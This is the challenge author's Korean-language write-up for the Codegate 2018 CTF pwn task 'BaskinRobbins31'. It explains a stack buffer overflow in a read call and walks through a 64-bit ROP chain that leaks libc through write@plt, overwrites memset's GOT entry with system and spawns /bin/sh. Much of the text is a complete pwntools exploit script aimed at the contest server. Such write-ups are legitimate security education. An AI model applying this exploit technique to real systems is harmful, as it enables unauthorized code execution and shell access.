Codegate2018 BaskinRobbins31

By chaem | February 15, 2018

Codegate2018 BaskinRobbins31 출제자 WriteUp


이 문제는 기본적인 64bit rop 문제였는데요! 다들 엄청 반가워하면서 슝슝 푸셨겠죠?!
프로그램은 흔히 우리나라에서 술게임으로 자주 하는…ㅎㅎㅎ 귀엽고~ 깜찍하게~ 베스킨라빈스 31!!!

문제 풀면서 다들 게임 한 판 정도는 하셨으려나요? ㅠㅠ
다들 flag만 훅 따가셨을듯 ㅠㅠ


우선, pwndbg에서 checksec으로 바이너리에 걸린 보호기법을 알아봅시다.
NXPartial Relro가 적용되어있는 것을 보실 수 있습니다.



NX는 스택의 실행권한을 없애는 메모리 보호기법 입니다. 따라서 스택에 쉘코드가 있더라도 실행 시킬 수가 없게 됩니다.
또한 Full Relro가 아닌 Partial Relro가 적용되어 있기 때문에, GOT Overwrite가 가능합니다. 결국은 ROP로 문제를 해결할 수 있겠죠.


64bit에서 함수 호출 규약에서 함수 인자는 다음과 같은 순서로 레지스터에 담기게 됩니다.

RDI : 첫번째 인자
RSI : 두번째 인자
RDX : 세번째 인자
RCX : 네번째 인자


pop rdi; pop rsi; pop rdx; ret 와 같은 가젯을 이용할 수 있습니다.


그렇다면, 문제의 함수들을 살펴봅시다!


int your_turn(int *number)
{
    unsigned int decision = 0;
    char buf[150];
    ssize_t b;

    memset(buf, 0, 150);
    printf("How many numbers do you want to take ? (1-3)\n");
    b = read(0, buf, 400);

    write(1, buf, b);
    printf("\n");

    decision = strtoul(buf, NULL, 10);

    if (!check_decision(decision))
    {
        printf("Don't break the rules...:( \n");
        return 0;
    }

  \*number -= decision;

    return 1;
}


your_turn 함수를 보면 read 함수에서 bof가 발생하는데, 이 부분을 이용해 ret 변조가 가능합니다.


그리고 helper 함수를 보면 필요한 가젯이 주어집니다!
pop rdi; pop rsi; pop rdx; ret 을 이용하면 3개의 인자 함수 호출까지는 자유롭게 할 수 있습니다.
이를 이용하여 ROP 페이로드를 만들어서 우선 libc의 주소를 알아내고, libc내의 system 함수/bin/sh 문자열을 이용하여 system("bins/sh")를 호출하도록 ROP하면 끝!!!


정리해 보자면 다음과 같습니다.


  1. 오버플로우 시켜서 리턴을 덮는다.
  2. plt가 있는 함수중에 leak을 할만한 함수를 찾는다.
    • 프로그램 자체의 leak 취약점(write, printf, puts…)들을 이용한다.
  3. got 안의 라이브러리 함수 주소를 아무거나 하나 얻어온다.
  4. 얻어온 함수와 system 함수의 오프셋을 계산한다.
  5. system 함수의 주소를 호출한다.


즉, read_plt, read_got, write_plt, offset, PPPR, bss영역 주소 등의 가젯이 필요합니다.


이렇게 필요한 가젯들을 이용하여 익스플로잇 코드를 짜봅시다!


#final exploit
#-*- coding: utf-8 -*-
#!/usr/bin/env python

import telnetlib
from socket import *
from struct import *
from pwn import *

memset_plt = 0x4006f0
PPPR = 0x40087a
memset_got = 0x602038
write_got = 0x602028
write_plt = 0x4006d0
read_plt = 0x400700
read_got = 0x602040
your_addr = 0x400ae5
#offset = 0x302624
offset = 1234400
bin_addr = 0x602500
memset_addr = 0
system_addr = 0

#leak memset()'s libc addresss using write@plt
buf = ""
buf += "A" * 184
buf += p64(PPPR)
buf += p64(0x1)
buf += p64(memset_got)
buf += p64(0x8)
buf += p64(write_plt)
buf += p64(your_addr)

#overwrite memset()'s GOT entry using read@plt
buf2 = ""
buf2 += "A" * 184
buf2 += p64(PPPR)
buf2 += p64(0x0)
buf2 += p64(memset_got)
buf2 += p64(0x8)
buf2 += p64(read_plt)

#read "/bin/sh" into 0x602500 using read@plt
buf2 += p64(PPPR)
buf2 += p64(0x0)
buf2 += p64(bin_addr)
buf2 += p64(0x8)
buf2 += p64(read_plt)

#set RDI to location of "/bin/sh", and call system()
buf2 += p64(PPPR)
buf2 += p64(bin_addr)
buf2 += p64(0x1)
buf2 += p64(0x1)
buf2 += p64(memset_plt)

s = remote('ch41l3ng3s.codegate.kr', 3131)
#nc ch41l3ng3s.codegate.kr 3131
#s = remote('661705c0ebc8adabe794ca26b66319b7.codegate.kr', 3131)

raw_input()

#overwrite RIP so we return to write@plt to leak meemset()'s libc address
print s.recv(1024)
s.send(buf+"\n")
#d = s.recv(1024)[-8:]
d = s.recvuntil('How')

#memset_addr = u64(d)
memset_addr = u64(d.split('How')[0][-8:])

system_addr = memset_addr - offset

print hex(memset_addr)
print hex(system_addr)

s.send(buf2 + '\n')

#send address of system() to overwrite memset()'s GOT entry
s.send(p64(system_addr))

#send "/bin/sh" to writable location
s.send("/bin/sh\x00"+"\n")

#get a shell
s.interactive()


짜잔!! shell을 획득할 수 있게 됩니다!!



문제를 풀어주신 모든 분들 수고 많으셨습니다!

comments powered by Disqus